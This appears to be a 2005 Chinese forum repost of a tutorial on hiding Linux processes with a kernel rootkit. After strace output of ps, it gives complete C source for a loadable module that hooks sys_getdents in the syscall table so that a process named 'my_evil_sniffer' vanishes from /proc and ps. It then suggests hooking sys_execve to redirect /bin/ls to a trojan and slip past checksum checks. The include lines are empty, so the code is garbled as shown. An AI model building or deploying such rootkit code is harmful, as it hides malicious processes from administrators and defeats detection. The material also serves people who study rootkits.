2005-9-14 12:00
zhangxiangod
贴一篇文章,你看看<br /><br />by 大鹰 <br />www.patching.net <br />好,我们看进程的隐藏,其实道理和前面差不多,我们先来看看ps用了哪些系统调用,以便我们来截获它 <br />[hello!e4gle]# strace ps <br />............. <br />open("/proc/10284/stat", O_RDONLY) = 5 <br />read(5, "10284 (ps) R 10283 10283 10169 7"..., 511) = 185 <br />close(5) = 0 <br />open("/proc/10284/statm", O_RDONLY) = 5 <br />read(5, "115 115 96 5 0 110 19\n", 511) = 22 <br />close(5) = 0 <br />open("/proc/10284/status", O_RDONLY) = 5 <br />read(5, "Name:\tps\nState:\tR (running)\nPid:"..., 511) = 411 <br />close(5) = 0 <br />ioctl(1, TIOCGWINSZ, {ws_row=42, ws_col=80, ws_xpixel=0, ws_ypixel=0}) = 0 <br />brk(0) = 0x8162908 <br />brk(0x8162928) = 0x8162928 <br />brk(0x8163000) = 0x8163000 <br />geteuid() = 0 <br />getpid() = 10284 <br />lseek(3, 0, SEEK_SET) = 0 <br />read(3, "169129.48 167700.41\n", 1023) = 20 <br />time(NULL) = 984486166 <br />open("/proc/meminfo", O_RDONLY) = 5 <br />............... <br />我截取了一部分,其实已经可以说明问题,非常简单,象ps之类的命令并不是直接用任何特殊的系统调用 <br />来获得当前进程的列表的(也没有系统调用可以完成这项任务) 通过对ps命令的strace,你会发现其实它 <br />是从/proc目录里得到进程信息的。在/proc里你可以找到很多目录,它们的名字都是仅仅由数字组成的( <br />比较奇怪吧<!--emo&;)--><img src='style_emoticons/default/wink.gif' border='0' style='vertical-align:middle' alt='wink.gif' /><!--endemo-->,那些数字就是运行着的进程的PID了,在这些目录里你可以找到与该进程有关的任何信息 <br />,所以呢,ps命令其实就是对/proc运行了ls而已,而进程的相关信息,则是在/proc/PID的目录里放着, <br />好了,现在我们有办法了,ps必须从/proc目录里读东西,所以它要用到sys_getdents(...),我们只要从 <br />PID来找出进程名,然后再把PID和/proc里的比较,如果是我们想藏的东西,就象前面所说的隐藏目录一 <br />样,把它给封杀掉,上面程序中的两个task的函数及invisible函数仅是用来获得在/proc里找到PID的名 <br />字的,至于文件隐藏,不用我多说了罢。 <br /><br />好,我把实现例程贴出来供参考: <br />#define MODULE <br />#define __KERNEL__ <br /><br />#include <br />#include <br />#include <br />#include <br />#include <br />#include <br />#include <br />#include <br />#include <br />#include <br />#include <br />#include <br />#include <br />#include <br /><br />extern void* sys_call_table[]; <br /><br />/*我们想要隐藏的进程名*/ <br />char mtroj[] = "my_evil_sniffer"; <br /><br />int (*orig_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count); <br /><br />/*将string转换为数字*/ <br />int myatoi(char *str) <br />{ <br /> int res = 0; <br /> int mul = 1; <br /> char *ptr; <br /> for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) { <br /> if (*ptr < '0' || *ptr > '9') <br /> return (-1); <br /> res += (*ptr - '0') * mul; <br /> mul *= 10; <br /> } <br /> return (res); <br />} <br /><br />/*从PID里取得任务列表的结构*/ <br />struct task_struct *get_task(pid_t pid) <br />{ <br /> struct task_struct *p = current; <br /> do { <br /> if (p->pid == pid) <br /> return p; <br /> p = p->next_task; <br /> } <br /> while (p != current); <br /> return NULL; <br />} <br /><br />/*从任务列表里取得进程的名字*/ <br />static inline char *task_name(struct task_struct *p, char *buf) <br />{ <br /> int i; <br /> char *name; <br /><br /> name = p->comm; <br /> i = sizeof(p->comm); <br /> do { <br /> unsigned char c = *name; <br /> name++; <br /> i--; <br /> *buf = c; <br /> if (!c) <br /> break; <br /> if (c == '\\') { <br /> buf[1] = c; <br /> buf += 2; <br /> continue; <br /> } <br /> if (c == '\n') { <br /> buf[0] = '\\'; <br /> buf[1] = 'n'; <br /> buf += 2; <br /> continue; <br /> } <br /> buf++; <br /> } <br /> while (i); <br /> *buf = '\n'; <br /> return buf + 1; <br />} <br /><br />/*检查这个进程是否是我们想要隐藏的家伙*/ <br />int invisible(pid_t pid) <br />{ <br /> struct task_struct *task = get_task(pid); <br /> char *buffer; <br /> if (task) { <br /> buffer = kmalloc(200, GFP_KERNEL); <br /> memset(buffer, 0, 200); <br /> task_name(task, buffer); <br /> if (strstr(buffer, (char *) &mtroj)) { <br /> kfree(buffer); <br /> return 1; <br /> } <br /> } <br /> return 0; <br />} <br /><br />/*从我刚才的第一篇文章就已经说过了,呵呵不多说了*/ <br />int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) <br />{ <br /> unsigned int tmp, n; <br /> int t, proc = 0; <br /> struct inode *dinode; <br /> struct dirent *dirp2, *dirp3; <br /><br /> tmp = (*orig_getdents) (fd, dirp, count); <br /><br />#ifdef __LINUX_DCACHE_H <br /> dinode = current->files->fd[fd]->f_dentry->d_inode; <br />#else <br /> dinode = current->files->fd[fd]->f_inode; <br />#endif <br /><br /> if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1) <br /> proc=1; <br /> if (tmp > 0) { <br /> dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL); <br /> memcpy_fromfs(dirp2, dirp, tmp); <br /> dirp3 = dirp2; <br /> t = tmp; <br /> while (t > 0) { <br /> n = dirp3->d_reclen; <br /> t -= n; <br /> if ((proc && invisible(myatoi(dirp3->d_name)))) { <br /> if (t != 0) <br /> memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t); <br /> else <br /> dirp3->d_off = 1024; <br /> tmp -= n; <br /> } <br /> if (t != 0) <br /> dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen); <br /> } <br /> memcpy_tofs(dirp, dirp2, tmp); <br /> kfree(dirp2); <br /> } <br /> return tmp; <br />} <br /><br /><br />int init_module(void) /*加载*/ <br />{ <br /> orig_getdents=sys_call_table[SYS_getdents]; <br /> sys_call_table[SYS_getdents]=hacked_getdents; <br /> return 0; <br />} <br /><br />void cleanup_module(void) /*卸载*/ <br />{ <br /> sys_call_table[SYS_getdents]=orig_getdents; <br />} <br /><br />其实其他我就不多说了,都是在重复劳动了,同样隐藏网络连接我们可以截获netstat命令的系统调用就 <br />可以了。 <br /><br />我们还可以截获sys_execve(...)来重定向系统命令如/bin/ps,/bin/ls,呵呵,其实和本文是两回事了, <br />说说而已,也就是把/bin/ls重定向到我们的ls木马或rootkit程序,这样可以躲过checksum的校验,因为 <br />我们根本没有替换/bin/ls,呵呵,照这个思路我们可以做的事情非常多,发挥想象可以做出很多好玩的 <br />木马。 <br /> <br />